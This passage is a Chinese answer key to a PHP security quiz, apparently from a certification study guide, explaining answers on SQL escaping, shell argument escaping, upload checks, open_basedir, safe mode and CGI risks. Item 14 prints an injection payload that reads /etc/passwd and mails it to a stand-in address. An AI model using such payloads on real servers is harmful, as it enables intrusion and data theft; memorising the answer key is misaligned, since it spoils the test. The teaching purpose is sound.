开时,显然要保证所有变量在使用前都进行过初始化,以防止恶意用户进行注入。
5.处理数据库
查询中的用户数据时,你应该转义SQL中所有应该转义的数据。这是一个普遍的数据库问题——所有基于SQL的数据库都容易收到SQL注入攻击,需要用PHP提供的转义函数来防范。
6.答案是C和E。在PHP里执
行有变量参与的系统命令时,没有任何一个函数是“绝对安全”的。你应该用escapeshellcmd和escapeshellarg函数转义传递给shell的命令和参量。
7.正确答案是C和D。即使脚本执行完后不需要保存该文件,你也应该在访问此文件之前,先用is_uploaded_file函数确保文件名正确。同样,如果需要把文件从临时文件夹移出以长期保存该文件时,你应该使用move_upload_file函数,它会在移动前对该文件进行检查。
8.正确答案是A,B和C。安全模式提供了许多附加的安全验证,有助于降低安全隐患——尤其是在多个用户访问同一个PHP的共享主机上。尽管安全模式能限制一些东西,但在执行系统命令、访问环境变量和判断文件是否能被引入(比如对每个文件进行额外的UID/GID检查)时,它无法进行安全检查。
9.正确答案是B。open_basedir设置能让你指定允许PHP读取的目录。这项设置是独立于safe_mode之外的,并且可以指定多个目录。注意,选项D也是一种可行的限制访问的方式,但它不够简单——还很难维护。
10.正确答案是B。尽管可以通过在
HTML中添加一个MAX_FILE_SIZE隐藏域的方式来指定上传文件的容量限制,但难保客户端就一定会遵守此约定(译者注:事实上,没有任何一个浏览器遵守了此约定)。
11.以CGI模式运行时,PHP将自动采取一些措施来减少常见的安全隐患。措施之一就应用在把任意某个文件作为命令行参量传递给解释器执行的时候。如果不是这样,PHP将尝试读取/etc/passwd——一个“全球可读(world-readable)”的文件,同时解释器把它视作PHP脚本来执行,最终导致所有的用户帐号被输出到客户端上。不过,由于PHP内建的安全机制,实际上什么都不会发生。答案是D。
12.正确答案是E。所有选项都能被开发者用来降低网站的危险系数。要想有效得保证网站安全,你首先应该找出潜在的危险。意味着你必须关注安全公告,记录可疑操作(可能是恶意用户企图攻击你的系统)。
13.正确答案是B。网站不应该向用户展示任何无意义的信息(比如一个失败的SQL查询)。尽管这些信息对大部分用户来说毫无意义,但对开发者(包括黑客)来说这些却是非常有价值的资源。他们可以由此找到一条有效的策略来攻击你的系统。比如说,一个恶意用户由此知道了你的SQL查询的结构,那他就非常容易通过表单进行注入,造成安全隐患。当错误发生时,应该只给用户发送一条致歉信息,而错误细节应该被记录在日志中,以便网站管理员查阅。
14.正确答案是D。尽管很隐蔽,但该脚本确实能让用户在服务器上执行任何代码。作为数学式的一部分,考虑一下当$_POST
[‘number’]是如下字符串时的情况:
(eval(“exec('cat /etc/passwd | mail baduser@somewhere');”)) ? 0 : 1
匿名函数将变成:
return $a * (eval(“exec('cat /etc/passwd | mail baduser@somewhere');”)) ? 0 : 1;
这将使得用户可以通过eval()语句执行任何代码,而且返回的仍然是一个“合法”值。create_function()或eval()能执行动态代码,所以必须仔细检查动态部分,避免注入。
15.任何安装不恰当的PHP版本都会有安全问题,但在选项中,CGI最严重。默认状态下它有许多安全隐患,并且执行效率低下,在上线前需要进行严格的检查。答案是C。